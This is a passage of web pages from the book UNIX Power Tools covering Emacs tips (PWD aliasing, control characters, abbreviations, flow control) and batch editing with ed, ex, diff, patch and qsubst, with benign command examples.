In my experience, this usually means that the C shell's PWD environment variable (6.3) has gotten set incorrectly. There are a few (relatively pathological) ways of tricking the C shell into making a mistake. More commonly though, I've seen a few systems on which the C shell sticks an extra slash into PWD: that is, its value will be something like /home/mike//Mail rather than /home/mike/Mail. UNIX doesn't care; it lets you stack up extra slashes without trouble. But Emacs interprets // as the root directory - that is, it discards everything to the left of the double slash. So if you're trying to edit the file /home/mike//Mail/output.txt, Emacs will look for /Mail/output.txt. Even if this file exists, it's not what you want. [This also happens when Emacs is called from a (Bourne) shell script that has changed its current directory without changing PWD. -JP ]

This problem is particularly annoying because the shell will automatically reset PWD every time you change directories - so the obvious solution, sticking unsetenv PWD in your .cshrc file, doesn't do any good.

What will work is defining an alias (10.1):

(..)
alias gmacs "(unsetenv PWD; emacs \!*)"

A better solution might be to switch to another shell that doesn't have this problem. The Bourne shell (sh) obviously doesn't, since it doesn't keep track of your current directory.

- ML

Previous: 32.8 Rational Searches | UNIX Power Tools | Next: 32.10 Inserting Binary Characters into Files
32.8 Rational Searches | Book Index | 32.10 Inserting Binary Characters into Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 32] 32.10 Inserting Binary Characters into Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 32.9 Unset PWD Before Using Emacs Chapter 32
GNU Emacs 		Next: 32.11 Using Word Abbreviation Mode

32.10 Inserting Binary Characters into Files

I remember being driven absolutely crazy by a guy (who hopefully won't read this) who called me every other week and asked me how to stick a page break into some text file he was writing. He was only printing on a garden-variety daisy wheel printer, for which inserting a page break is a simple matter: just add a formfeed character, CTRL-l. But CTRL-l already means something to Emacs ("redraw the screen"). How do you get the character into your file, without Emacs thinking that you're typing a command?

Simple. Precede CTRL-l with the "quoting" command, CTRL-q. CTRL-q tells Emacs that the next character you type is text, not a part of some command. So the sequence CTRL-q CTRL-l inserts the character CTRL-l into your file; you'll see ^L on your screen. (Note that this represents a single character, instead of two characters.) In turn, when you print the file on a daisy wheel printer, the CTRL-l will cause a page eject at the appropriate point.

You can use this technique to get any "control character" into an Emacs file. In fact, under pressure I've done some pretty bizarre binary editing - not a task I'd recommend, but certainly one that's possible.

- ML

Previous: 32.9 Unset PWD Before Using Emacs | UNIX Power Tools | Next: 32.11 Using Word Abbreviation Mode
32.9 Unset PWD Before Using Emacs | Book Index | 32.11 Using Word Abbreviation Mode
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 32] 32.11 Using Word Abbreviation Mode

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 32.10 Inserting Binary Characters into Files Chapter 32
GNU Emacs 		Next: 32.12 Getting Around Emacs Flow Control Problems

32.11 Using Word Abbreviation Mode

Like vi, Emacs provides an "abbreviation" facility. Its traditional usage lets you define abbreviations for long words or phrases so you don't have to type them in their entirety. For example, let's say you are writing a contract which repeatedly references the National Institute of Standards and Technology. Rather than typing the full name, you can define the abbreviation nist. Emacs inserts the full name whenever you type nist, followed by a space or punctuation mark. Emacs watches for you to type an abbreviation, then expands it automatically as soon as you press the space bar or type a punctuation mark (such as . , ! ? ; :).

One use for word abbreviation mode is to correct misspellings as you type. Almost everyone has a dozen or so words that they habitually type incorrectly, due to some worn neural pathways. You can simply tell Emacs that these misspellings are "abbreviations" for the correct versions, and Emacs fixes the misspellings every time you type them. If you take time to define your common typos as abbreviations, you'll never have to be bothered with teh, adn, and recieve when you run the spellchecker. Emacs sweeps up behind your typos and corrects them. For example, let's say that you define teh as an abbreviation for the. When you press the space bar after you type teh, Emacs fixes it immediately while you continue happily typing. You may not even notice that you typed the word wrong before Emacs fixes it.

32.11.1 Trying Word Abbreviations for One Session

Usually, if you go to the trouble of defining a word abbreviation, you will use it in more than one Emacs session. But if you'd like to try out abbreviation mode to see if you want to make it part of your startup, you can use the following procedure.

To define word abbreviations for this session:

  1. Enter word abbreviation mode by typing ESC x abbrev-mode. abbrev appears on the mode line.

  2. Type the abbreviation you want to use and press CTRL-x a. Emacs then asks you for the expansion.

  3. Type the definition for the abbreviation and press RETURN. Emacs then expands the abbreviation and will do so each time you type it followed by a space or punctuation mark. The abbreviations you've defined will work only during this Emacs session.

If you find that you like using word abbreviation mode, you may want to make it part of your startup, as described in the following section.

32.11.2 Making Word Abbreviations Part of Your Startup

Once you become hooked on abbreviation mode, make it part of your .emacs file so that you enter abbreviation mode and load the file of your word abbreviations and their definitions automatically. To define word abbreviations and make them part of your startup:

  1. Add these lines to your .emacs file:

    (setq-default abbrev-mode t)
(read-abbrev-file "~/.abbrev_defs")
(setq save-abbrevs t)

  2. Save the .emacs file and reenter Emacs. Abbrev appears on the mode line. (You'll get an error at this point; ignore it - it won't happen again.)

  3. Type an abbreviation you want to use and then type CTRL-x a following the abbreviation. Emacs asks you for the expansion.

  4. Type the definition for the abbreviation and press RETURN. Emacs expands the abbreviation and will do so each time you type it followed by a space or punctuation mark. You can define as many abbreviations as you want to by repeating steps 3 and 4.

  5. Type ESC x write-abbrev-file to save your abbreviations file. Emacs asks for the filename.

  6. Type ~/.abbrev_defs. Emacs then writes the file. You need only take this step the first time you define abbreviations using this procedure. After this file exists, the lines in your .emacs file load the abbreviations file automatically.

After you've followed this procedure the first time, you only need to use steps 3 and 4 to define more abbreviations. When you add word abbreviations in subsequent sessions, Emacs asks whether you want to save the abbreviations file. Respond with a y to save the new abbreviations you've defined and have them take effect automatically.

If you define an abbreviation and later regret it, use edit-word-abbrevs to delete it.

- DC

Previous: 32.10 Inserting Binary Characters into Files | UNIX Power Tools | Next: 32.12 Getting Around Emacs Flow Control Problems
32.10 Inserting Binary Characters into Files | Book Index | 32.12 Getting Around Emacs Flow Control Problems
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 32] 32.12 Getting Around Emacs Flow Control Problems

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 32.11 Using Word Abbreviation Mode Chapter 32
GNU Emacs 		Next: 32.13 An Absurd Amusement

32.12 Getting Around Emacs Flow Control Problems

A common annoyance among Emacs users is the flow control (41.2) problem that occurs in some situations involving terminals (as opposed to PCs or workstations). Some operating systems and data communications devices (terminals, modems, networks, etc.) use the characters CTRL-s and CTRL-q to act as "stop" and "go" signs for terminal input and output, to prevent buffer overflow.

Many more modern systems use other means of flow control, such as extra hardware, but others still use the CTRL-s/CTRL-q convention. This is especially likely in situations where there are multiple data communications devices between you and the actual computer (for example, a terminal talking to a modem, talking to another modem, talking to a terminal server, talking to a local area network, talking to a computer, remotely logged in to another computer...).

In general, the more pieces of hardware between you and the computer, the more likely that CTRL-s and CTRL-q are used as flow control characters; this means that those two characters are not accessible to Emacs.

To find out whether the problem affects you, simply invoke Emacs and type CTRL-s. If you see the Isearch: prompt in the minibuffer, all is probably well. Otherwise, nothing will happen and your terminal will appear to hang - any other keys you type will have no effect. Actually, you will have told some piece of hardware not to accept any more input. To get out of this, just type CTRL-q. Any keys you press in between will then take effect.

An easy way to get around this problem is to type ESC x enable-flow-control. This feature lets you type CTRL-\ in place of CTRL-s, and CTRL-^ in place of CTRL-q. Of course, you'll have to remember that anytime you would normally press CTRL-s you press CTRL-\ instead.

To set this up so it works all the time, add this line to your .emacs file:

(enable-flow-control)

Remember that you should exit and restart Emacs to make changes to your .emacs file take effect.

- BR, DC

Previous: 32.11 Using Word Abbreviation Mode | UNIX Power Tools | Next: 32.13 An Absurd Amusement
32.11 Using Word Abbreviation Mode | Book Index | 32.13 An Absurd Amusement
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 32] 32.13 An Absurd Amusement

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 32.12 Getting Around Emacs Flow Control Problems Chapter 32
GNU Emacs 		Next: 33. Batch Editing

32.13 An Absurd Amusement

If you have time to waste (and I mean really waste), Emacs has things to keep you occupied. There are lots of interesting special effects, like "disassociated text." My favorite is a command called "psychoanalyze-pinhead." It's based on "doctor," which is a variation of the classic artificial intelligence demonstration called "Eliza": the computer plays psychotherapist, asks you questions, you reply, and your answers are the basis for new questions. Nothing new, really; I remember it from my high school days, in the early '70s. If you think you might be in need of a psychotherapist, save your money and try ESC x doctor RETURN.

If you want to see something really interesting, try ESC x psychoanalyze-pinhead. This takes the built-in "doctor" program and feeds it with quotations from the cult comic strip Zippy the Pinhead. The result is indeed bizarre. Here's some typical output:

I am the psychotherapist.  Please, describe your problems.  Each time
you are finished talking, type RET twice.

YOU PICKED KARL MALDEN'S NOSE!!

Why do you say I picked karl malden's nose?

Am I SHOPLIFTING?

Is it because of your plans that you say are you shoplifting?

Are you selling NYLON OIL WELLS??  If so, we can use TWO DOZEN!!

Press CTRL-c when you've had enough.

- ML

Previous: 32.12 Getting Around Emacs Flow Control Problems | UNIX Power Tools | Next: 33. Batch Editing
32.12 Getting Around Emacs Flow Control Problems | Book Index | 33. Batch Editing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 33] Batch Editing

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 32.13 An Absurd Amusement Chapter 33 Next: 33.2 Writing Editing Scripts

33. Batch Editing

Contents:
Why Line Editors Aren't Dinosaurs
Writing Editing Scripts
Line Addressing
Useful ex Commands
Running Editing Scripts Within vi
Change Many Files by Editing Just One
ed/ex Batch Edits: Avoid Errors When No Match
Batch Editing Gotcha: Editors Bomb on Big Files
patch: Generalized Updating of Files that Differ
Quick Globals from the Command Line with qsubst
Quick Reference: awk
Versions of awk

33.1 Why Line Editors Aren't Dinosaurs

In the "old days," when programmers worked on printing terminals, editing was done one line at a time. Editors that let you move a cursor around the screen to select text to edit weren't invented, because there weren't any screens to look at text on!

In these days of even more advanced WYSIWYG (What You See Is What You Get) word processors an editing programs, it's easy for novices to think of line editors as a bizarre relic. Perhaps they are - but if so, they are a relic of extraordinary power.

You see, line editors lend themselves to scripting-the ability to write what in effect are editing programs that can be applied over and over to different files.

When we talk about "batch editing" or scripts, here are some of the programs you might use:

  • ed is the original UNIX line editor.

  • ex supports a superset of ed commands; it is widely used from within vi, which is the ex "visual" or "screen" mode.

  • sed is an editor that can only be run with scripts [or by entering a few short commands as command-line arguments -JP ]; while it has many similar commands, it has some important differences (34.1) from ed and ex.

  • patch (33.9) is a specialized editor designed to apply editing scripts created with diff (28.1). You can do this with ed or ex as well, but patch is especially clever at it.

Of course, editing is a continuum, and beyond sed, you can think of awk (33.11) and perl (37.1) as even more powerful editing programs.

- TOR

Previous: 32.13 An Absurd Amusement | UNIX Power Tools | Next: 33.2 Writing Editing Scripts
32.13 An Absurd Amusement | Book Index | 33.2 Writing Editing Scripts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 33] 33.2 Writing Editing Scripts

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 33.1 Why Line Editors Aren't Dinosaurs Chapter 33
Batch Editing 		Next: 33.3 Line Addressing

33.2 Writing Editing Scripts

When you write a script that contains a series of editing actions and then run the script on an input file, you take what would be a hands-on procedure in an editor such as vi and transform it into a look-no-hands procedure.

When performing edits manually, you get to trust the cause-and-effect relationship of entering an editing command and seeing the immediate result. There is usually an "undo" command that allows you to reverse the effect of a command and return the text file to its previous state. Once you learn an interactive text editor, you have the feeling of making changes in a safe and controlled manner, one step at a time.

Most people new to "power editing" will feel there is greater risk in writing a script to perform a series of edits than in making those changes manually. The fear is that by automating the task, something will happen that cannot be reversed. The object of learning scripting with ex or sed is to understand the commands well enough to see that your results are predictable. In other words, you come to understand the cause-and-effect relationship between your editing script and the output that you get.

This requires using the editor in a controlled, methodical way. Gradually, you will develop methods for creating and testing editing scripts. You will come to rely upon these methods and gain confidence that you know what your script is doing and why.

Here are a few tips:

  1. Carefully examine your input file, using grep, before designing your script.

  2. Start with a small sample of occurrences in a test file. Run your script on the sample and make sure the script is working. Remember, it's just as important to make sure the script doesn't work where you don't want it to. Then increase the size of the sample. Try to increase the complexity of the input.

  3. Work carefully, testing each command that you add to a script. Compare the output against the input file to see what has changed. Prove to yourself that your script is complete. Your script may work perfectly, based on your assumptions of what is in the input file, but your assumptions may be wrong.

  4. Be pragmatic! Try to accomplish what you can with your script but understand that it doesn't have to do 100 percent of the job. If you encounter difficult situations, check and see how frequently they occur. Sometimes it's better to do a few remaining edits manually.

If you can add to these tips with your experience, tack them on.

[Okay, I will: use a revision control system (20.12) to keep previous versions. That makes it easy to undo your edits. -JP ]

- DD from O'Reilly & Associates' sed & awk

Previous: 33.1 Why Line Editors Aren't Dinosaurs | UNIX Power Tools | Next: 33.3 Line Addressing
33.1 Why Line Editors Aren't Dinosaurs | Book Index | 33.3 Line Addressing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 33] 33.3 Line Addressing

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 33.2 Writing Editing Scripts Chapter 33
Batch Editing 		Next: 33.4 Useful ex Commands

33.3 Line Addressing

The key to making line editors work for you is understanding how to select (or "address") the lines that will be affected by the commands in your script.

In ed and ex, a command affects only the "current" line - the first line of the file to begin with, and later the site of the last edit or movement command - unless you precede the command with an address to indicate some other line or lines. In sed, most commands apply to every line unless you give an address.

Most line editors address lines in three ways:

  • with line numbers

  • with regular expression patterns

  • with special symbols

It's possible to address single lines or a range of lines.

describes the addresses you can use with ex.

Table 33.1: Line Addressing in the ex Editor
1,$ | All lines in the file.
% | All lines; same as 1,$.
x,y | Lines x through y.
x;y | Lines x through y, with current line reset to x.
1 | Top of file.
0 | "Before the top" of file. Used to add text above top line: 0r, xm0, etc.
. | Current line.
n | Absolute line number n.
$ | Last line.
x-n | n lines before x.
x+n | n lines after x.
-n | n lines previous.
- | Previous line.
+n | n lines ahead.
+ | Next line.
'x | Line marked with x. (To mark a line, use kx.)
'' | Previous mark.
/pattern/ | Next line matching pattern.
?pattern? | Previous line matching pattern.

If the address specifies a range of lines, the format is:

x,y

where x and y are the first and last addressed lines. x must precede y in the file.

- TOR, DG, JP

Previous: 33.2 Writing Editing Scripts | UNIX Power Tools | Next: 33.4 Useful ex Commands
33.2 Writing Editing Scripts | Book Index | 33.4 Useful ex Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 33] 33.4 Useful ex Commands

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 33.3 Line Addressing Chapter 33
Batch Editing 		Next: 33.5 Running Editing Scripts Within vi

33.4 Useful ex Commands

Many line editor commands are not particularly useful in scripts. The two commands that you will use far and away the most often are s (substitute), to replace one pattern with another, and d (delete) to delete one or more lines. On occasion, though, you'll want to insert text from a script. (Editing scripts built by diff (28.9) make heavy use of insert, append, delete, and change commands.) And of course, you need commands to write and quit the editor.

Here's the syntax of most of the commands you may encounter in ex editing scripts. (The ed editor understands the abbreviated versions of some, but not all of, these commands.) Elements in [brackets] are optional; don't type the [ or ]. (The leading colon is the ex command character used to issue an ex command from vi; in a script, the colon would be omitted.)

append

[address] a[!] text \. Append text at specified address, or at present address if none is specified. Add a ! to switch the autoindent setting that will be used during input. For example, if autoindent was enabled, ! disables it.

change

[address] c[!] text \. Replace the specified lines with text. Add a ! to switch the autoindent setting during input of text.

copy

[address] co destination [address] t destination Copy the lines included in address to the specified destination address.

:1,10 co 50
:1,10t50

delete

[address] d [buffer] Delete the lines included in address. If buffer is specified, save or append the text to the named buffer.

:/Part I/,/Part II/-1d   Delete to line above "Part II"
:/main/+d   Delete line below "main"
:.,$/d   Delete from this line to last line

global

[address] g[!]/pattern/[commands] Execute commands on all lines that contain pattern or, if address is specified, on all lines within that range. If commands are not specified, print all such lines. (Exception: doesn't print when you use it from vi by typing : first. You'll need to add a p, as in the second example below). If ! is used, execute commands on all lines that don't contain pattern.

:g/Unix/
:g/Unix/p
:g/Name:/s/tom/Tom/

insert

[address] i[!] text \. Insert text at line before the specified address, or at present address if none is specified. Add a ! to switch the autoindent setting during input of text.

move

[address] m destination Move the lines specified by address to the destination address.

:.,/Note/m /END/          Move block after line containing "END"

print

[address] p [count] Print the lines specified by address. count specifies the number of lines to print, starting with address.

:100;+5p                  Show line 100 and the next five lines

quit

q[!] Terminate current editing session. Use ! to discard changes made since the last save. If the editing session includes additional files in the argument list that were never accessed, quit by typing q! or by typing q twice.

read

[address] r file Copy in the text from file on the line below the specified address. If file is not specified, the current filename is used.

:0r $HOME/data   Read file in at top of current file

read

[address] r !command Read the output of UNIX command into the text after the line specified by address.

cal
:$r !cal   Place a calendar at end of file

source

so file Read and execute ex commands from file.

:so $HOME/.exrc

substitute

[address] s [/pattern/replacement/] [options] [count] Replace first instance of pattern on each of the specified lines with replacement. If pattern and replacement are omitted, repeat last substitution. count specifies the number of lines on which to substitute, starting with address. Options

c

Prompt for confirmation before each change.

g

Substitute all instances of pattern on each line.

p

Print the last line on which a substitution was made.

c
\U
:1,10s/yes/no/g      Substitute on first 10 lines
:%s/[Hh]ello/Hi/gc   Confirm global substitutions
:s/Fortran/\U&/ 3    Uppercase "Fortran" on next 3 lines

write

[address] w[!] [[>>] file] Write lines specified by address to file, or write full contents of buffer if address is not specified. If file is also omitted, save the contents of the buffer to the current filename. If >> file is used, write contents to the end of an existing file. The ! flag forces the editor to write over any current contents of file.

:1,10w name_list   Copy first 10 lines to name_list
:50w >> name_list   Now append line 50

write

[address] w !command Write lines specified by address, or write full contents of buffer if address is not specified, to the standard input (13.1) of command.

:1,10w !spell   Send first 10 lines to the spell command
:w !lpr   Print entire buffer with lpr command

- TOR, DG

Previous: 33.3 Line Addressing | UNIX Power Tools | Next: 33.5 Running Editing Scripts Within vi
33.3 Line Addressing | Book Index | 33.5 Running Editing Scripts Within vi
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 33] 33.5 Running Editing Scripts Within vi

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 33.4 Useful ex Commands Chapter 33
Batch Editing 		Next: 33.6 Change Many Files by Editing Just One

33.5 Running Editing Scripts Within vi

Because vi is built on top of the ex line editor, you get all the power of a line editor as well. Any experienced vi user issues ex commands all the time - but usually one by one, at the colon prompt.

The one exception is the .exrc file (30.6), which is, at bottom, a list of commands for ex to run on startup - in short, an editor script.

What many beginners don't know is that you can save a sequence of ex commands in any file, and execute it with the :so command (33.4). For example, Bruce Barnett uses this trick to set himself up specially for editing FORTRAN programs (31.11).

In general, sed (34.24) is better for general-purpose batch editing - such as making a set of global substitutions over and over again on multiple files - therefore, :so is most often used for reading in setup commands. Keep in mind though; any time you find yourself issuing the same commands over and over again, think script!

- TOR

Previous: 33.4 Useful ex Commands | UNIX Power Tools | Next: 33.6 Change Many Files by Editing Just One
33.4 Useful ex Commands | Book Index | 33.6 Change Many Files by Editing Just One
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 33] 33.6 Change Many Files by Editing Just One

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 33.5 Running Editing Scripts Within vi Chapter 33
Batch Editing 		Next: 33.7 ed/ex Batch Edits: Avoid Errors When No Match

33.6 Change Many Files by Editing Just One

Warning! The diff command can make an editing script (28.9) that you give to the ex or ed editors or the patch (33.9) program. They'll apply your same edits to other copies of the same file. This is handy if you have a lot of copies of a big file, spread around a network or on a lot of disks, and you want to make the same small change to all the files. Instead of sending new copies of the whole file, just have diff make a script - and use that little script to update all the big files.

Here's a demo. I'm going to modify a program called pqs.c. Then I'll use diff and ed to apply the same changes to a copy of the file named remote-pqs.c (which might be at a remote computer):

>>

1% cp pqs.c remote-pqs.c
2% cp pqs.c pqs.c.new

3% vi pqs.c.new
4% diff pqs.c pqs.c.new
106,107c106
<       fprintf(stderr,
<           "%s: quitting: not able to %s your .pq_profile file.\n",
--
>       fprintf(stderr, "%s: quitting: can't %s your .pq_profile file.\n",
390a390
>               "WARNING:",
5% diff -e pqs.c pqs.c.new > edscr
6% cat edscr
390a
                "WARNING:",
.
106,107c
        fprintf(stderr, "%s: quitting: can't %s your .pq_profile file.\n",
.
7% echo w >> edscr
8% ed remote-pqs.c < edscr
19176
19184
9% diff pqs.c.new remote-pqs.c
10%

At prompt 1%, I make the simulated "remote" copy of the pqs.c file. At prompt 2%, I make another copy of it; at prompt 3%, I edit the copy. Prompt 4% has a diff that shows the changes I made. Then, at prompt 5%, I run diff -e (28.1); I save the result in edscr, which I show at prompt 6.

Prompt 7% is important because diff -e doesn't add a w command to the script file. That tells ed to write its changes to the file. I use echo w (8.6) to add the command.

In prompt 8%, I give ed the name of the "remote" file to edit as a command-line argument and give it the script file on its standard input. At prompt 9%, I do a diff that shows the changes have been made and the two versions are the same.

- JP

Previous: 33.5 Running Editing Scripts Within vi | UNIX Power Tools | Next: 33.7 ed/ex Batch Edits: Avoid Errors When No Match
33.5 Running Editing Scripts Within vi | Book Index | 33.7 ed/ex Batch Edits: Avoid Errors When No Match
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 33] 33.7 ed/ex Batch Edits: Avoid Errors When No Match

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 33.6 Change Many Files by Editing Just One Chapter 33
Batch Editing 		Next: 33.8 Batch Editing Gotcha: Editors Bomb on Big Files

33.7 ed/ex Batch Edits: Avoid Errors When No Match

Q: My Bourne shell script (44.1) calls ed to edit a set of files:

Q:
=

for

<<
\

site=something
cmty=somethingelse
for i in file1 file2 file3
do
   ed $i << end
   1,\$s/pat1/$site/g
   1,\$s/pat2/$cmty/g
   w
   q
end
done

Q: It works fine except when one of the files does not contain pat1. ed doesn't update that file, even though it could have matched pat2. The other files are edited as they should be.

A: On an error - including "no matches" - ed attempts to discard any unread commands. If you are running ed "by hand" this has no effect, but if its input is from a file, this makes EOF -d-of-file) the next thing it sees. You could remove the q command and you would see the same behavior, as ed automatically quits at end-of-file.

There is a simple workaround. Unlike the s command, the global command g does not report an error if no lines match. Thus:

ed - $i << end
g/pat1/s//$site/g
g/pat2/s//$cmty/g
w
end

The - (dash) flag suppresses the two numbers that ed normally prints when reading and writing files. These are the number of characters in the file, and are usually irrelevant. [As Chris explained, the q in the original script isn't needed. -JP ]

- CT in comp.unix.questions on Usenet, 16 May 1989

Previous: 33.6 Change Many Files by Editing Just One | UNIX Power Tools | Next: 33.8 Batch Editing Gotcha: Editors Bomb on Big Files
33.6 Change Many Files by Editing Just One | Book Index | 33.8 Batch Editing Gotcha: Editors Bomb on Big Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 33] 33.8 Batch Editing Gotcha: Editors Bomb on Big Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 33.7 ed/ex Batch Edits: Avoid Errors When No Match Chapter 33
Batch Editing 		Next: 33.9 patch: Generalized Updating of Files that Differ

33.8 Batch Editing Gotcha: Editors Bomb on Big Files

People use the ed editor with script files to make global edits. But many versions of ed can't edit large files. The ex editor is usually better, but it has limits, too. How large is "large"? That depends on your version. Most eds I've seen can't handle more than about 100,000 characters.

There are no limits on sed (34.24), although you'll need to save its output somehow (34.3), and your editing script may have to be changed to work with sed. [1] Here's what you'll see when ed bombs:

[1] By default, ed commands apply to the current line. sed commands are global. Also, relative line addresses like -5 don't work in sed.

% cat edscr
s/Unix/UNIX/g
w
% ed - words < edscr
?
%

The ? is ed's verbose way of telling you that something's wrong. This obscure message is especially bad if you write a shell script that edits multiple files in a loop; you may not notice the error or be able to tell which file had the problem. Be sure your script checks for errors!

Unfortunately for programmers, ed may not return an error status that you can test. There are workarounds (46.9), though. When the ed - command succeeds, it doesn't display anything. The simplest way to find errors is to check for any output on stdout or stderr. This chunk of a Bourne shell script shows how (your filename is in the shell variable $filename (6.8)):

2>&1
[ ] $?

edout="`ed - $filename < edscr 2>&1`"
if [ -n "$edout" -o $? -ne 0 ]
then
   echo "$edout" 1>&2
   echo "QUITTING: 'ed - $filename < edscr' bombed?!?" 1>&2
   exit 1
fi

- JP

Previous: 33.7 ed/ex Batch Edits: Avoid Errors When No Match | UNIX Power Tools | Next: 33.9 patch: Generalized Updating of Files that Differ
33.7 ed/ex Batch Edits: Avoid Errors When No Match | Book Index | 33.9 patch: Generalized Updating of Files that Differ
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 33] 33.9 patch: Generalized Updating of Files that Differ

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 33.8 Batch Editing Gotcha: Editors Bomb on Big Files Chapter 33
Batch Editing 		Next: 33.10 Quick Globals from the Command Line with qsubst

33.9 patch: Generalized Updating of Files that Differ

patch
Like all of Larry Wall's widely used programs (including perl (37.1), a software configuration script called Configure, and the rn news reader), patch betrays a whimsical intelligence of its own. Feed it any kind of diff listing (28.1) (not just an editing script produced with the -e option (28.9)). patch figures out what it needs to do to apply the diff, and updates the file, supplying all the while a breezy commentary on what it's doing:

% patch &amp;lt; testfile.diff
Hmm...  Looks like a normal diff to me...
File to patch: testfile
Patching file testfile using Plan A...
Hunk #1 succeeded at 2.
done

As Larry once noted, patch has done an awful lot to "change the culture of computing." Almost all free software is now updated by means of patches rather than complete new releases. patch is smart enough to discard any leading or trailing garbage (such as mail headers or signatures) so that a program source file can be updated by piping a mail message containing a diff listing between old and new versions directly to patch.

Here are a few of the other things patch is smart enough to do:

  • Figure out the name of the file to be updated and do it without asking (usually only if the diff file is a context diff (28.3) produced with the -c option).

  • Look for a suitable SCCS or RCS (20.12) file and check it out, if the filename itself can't be found.

  • Handle diff listings that don't quite match. This makes it possible for patch to update a file that the recipient has already changed from the one that the diff was based on.

  • Save any pieces of the diff file that don't end up being used, in a file named by adding the suffix .rej (reject) to the name of the file being patched.

  • Back up the file that is being patched, appending the suffix .orig to the name of the file being patched.

  • Recognize that its input may actually apply to several files, and patch each of them separately. So, for example, a whole directory might be updated by a "patch" file that contained diff listings for each of the files in the directory. (By the way, the -d option to patch tells it to cd to a specified directory before starting work.)

  • Recognize (or at least speculate) that a patch might have been created incorrectly, with the old and new files swapped. Larry says: "Yes, I'm afraid that does happen occasionally, human nature being what it is." patch's -R option will force patch to reverse the sense of the patch; what's really amusing is to see patch suggest that this might be the thing to do, when things seem out of sync.

If you are a programmer, patch is worth studying just to see how much a program can do to anticipate errors, deal with fuzzy input, and in general "make the computer do the dirty work." But if you're a programmer, you doubtless already know about patch....

One last note: patch is so useful that it's been added to many UNIX systems. Check to see if your system has it before installing it from the CD-ROM. [I've seen buggy or crippled versions from software vendors, though. The one on the disc is worth comparing to yours. &amp;ndash;JP]

- TOR

Previous: 33.8 Batch Editing Gotcha: Editors Bomb on Big Files | UNIX Power Tools | Next: 33.10 Quick Globals from the Command Line with qsubst
33.8 Batch Editing Gotcha: Editors Bomb on Big Files | Book Index | 33.10 Quick Globals from the Command Line with qsubst
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 33] 33.10 Quick Globals from the Command Line with qsubst

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 33.9 patch: Generalized Updating of Files that Differ Chapter 33
Batch Editing 		Next: 33.11 Quick Reference: awk

33.10 Quick Globals from the Command Line with qsubst

Users at our office frequently have to make global changes across multiple files. For that purpose we encourage them to use sed (34.24); but sed syntax is tricky for new users (or even some experienced users!).

qsubst
As an alternative, try the qsubst program, available on our CD-ROM. qsubst is a simple query-replace program that anyone can use. For example, to change the string "Unix" into "UNIX" in the files ch01 and ch02, you can do:

% qsubst Unix UNIX ch01 ch02

You'll be prompted with each line to be changed, in context. That is, the line containing the string will be surrounded by both the previous and the next lines in the file. The string to be changed is underlined:

Unlike emacs, vi is available on
every \o'U_'\o'n_'\o'i_'\o'x_' system.
So you can
think of vi as the

To approve the change, press the space bar. You'll then be prompted with the next occurrence in the file. To refuse the change, press n to go on to the next occurrence of the string. You can also use the exclamation point (!) to approve this change and all future changes in this file, and CTRL-g to reject this change and all future changes.

You can also have qsubst replace all occurrences without prompting, using the -noask command-line option:

% qsubst Unix UNIX -noask ch01 ch02
(file: ch01)
(file: ch02)

Both files are edited without prompting.

qsubst is clearly not as powerful as sed. It doesn't understand regular expressions: you can only use qsubst to replace simple strings. But qsubst is clearly a useful tool for users who just want to make a simple global change without learning sed.

One word of warning about qsubst: if you interrupt qsubst midstream (e.g., using CTRL-c), your stty settings are likely to be garbled. If this happens, try the tips in article 42.4 to get your stty settings correct again.

- LM

